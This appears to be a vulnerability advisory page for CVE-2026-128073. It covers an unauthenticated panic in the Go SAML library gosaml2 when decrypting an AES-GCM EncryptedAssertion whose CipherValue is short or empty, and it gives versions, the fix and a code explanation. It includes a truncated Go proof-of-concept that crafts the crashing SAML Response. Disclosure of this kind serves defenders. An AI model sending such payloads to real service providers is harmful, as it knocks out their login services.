CVE-2026-128073: gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue

High CVSS 7.5

OSV id
GHSA-5hj8-q7fv-qrj6
Also known as
CVE-2026-128073
Published
Last modified

Affected packages

PackageAffected versionsFixed in
github.com/russellhaering/gosaml2
Go
< 0.12.0 0.12.0

How to fix it

Upgrade github.com/russellhaering/gosaml2 to 0.12.0 or later.

go get github.com/russellhaering/gosaml2@v0.12.0
go mod tidy
  • Indirect Go modules are upgraded the same way (`go get module@version`).
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

An attacker who can supply a crafted SAML Response for parsing can crash a gosaml2 service provider by sending an EncryptedAssertion with AES-GCM encryption metadata and a CipherValue shorter than the GCM nonce size (12 bytes). The library panics with slice bounds out of range before any validation completes.

This is a distinct issue from GHSA-hwqm-qvj9-4jr2, which addressed panics in the AES-CBC decryption path (commit 3418f9ae09063ff8df0ce1bd93f24e538e614def, included in v0.10.0). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.

Details

ValidateEncodedResponse() decrypts EncryptedAssertion nodes before signature or content validation completes. There are two call sites:

  1. Signed Response branch -- decode_response.go#L341
  2. Unsigned Response branch -- decode_response.go#L388

Both call decryptAssertions() (decode_response.go#L150-L200), which calls EncryptedAssertion.DecryptBytes() at decode_response.go#L176.

Inside DecryptBytes() (types/encrypted_assertion.go#L34-L92), the AES-GCM branch (line 53, case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:) slices the decoded ciphertext without checking its length at line 59:

nonce, data := data[:c.NonceSize()], data[c.NonceSize():]

If CipherValue decodes to fewer than 12 bytes (GCM nonce size), Go panics with slice bounds out of range. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.

Comparison with the patched CBC path: The CBC branch (lines 65-88 of the same file) correctly checks len(data) % k.BlockSize() != 0 before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.

The attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The CipherValue for the assertion body can be left empty. No valid signature is required.

PoC

Test environment:

  • Apple M4 (arm64)
  • Go 1.26.1
  • gosaml2 v0.11.0 (commit 636e7dda202a4d669644e72404a82616ffcbe004)

Self-contained reproduction:

```go package main

import ( "crypto/rand" "crypto/rsa" "crypto/sha1" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/base64" "fmt" "math/big" "os" "time"

saml2 "github.com/russellhaering/gosaml2"
dsig "github.com/russellhaering/goxmldsig"

)

func main() { // Generate a throwaway SP key pair. key, _ := rsa.GenerateKey(rand.Reader, 2048) tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "sp.example"}, NotBefore: time.Now().Add(-time.Hour), NotAfter: time.Now().Add(time.Hour), } certDER, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) cert := tls.Certificate{ Certificate: [][]byte{certDER}, PrivateKey: key, }

// Wrap an attacker-chosen symmetric key with the SP's public cert.
symKey := make([]byte, 16)
wrappedKey, _ := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)

responseXML := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>

<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" ID="_id" IssueInstant="2026-03-19T00:00:00Z"> <saml2:Issuer>issuer.example</saml2:Issuer> <saml2p:Status> <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </saml2p:Status> <saml2:EncryptedAssertion> <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2009/xmlenc11#aes128-gcm"/> <xenc:CipherData><xenc:CipherValue></xenc:CipherValue></xenc:CipherData> <xenc:KeyInfo> <xenc:EncryptedKey> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p"/> <xenc:CipherData><xenc:CipherValue>%s</xenc:CipherValue></xenc:CipherD

References

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About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.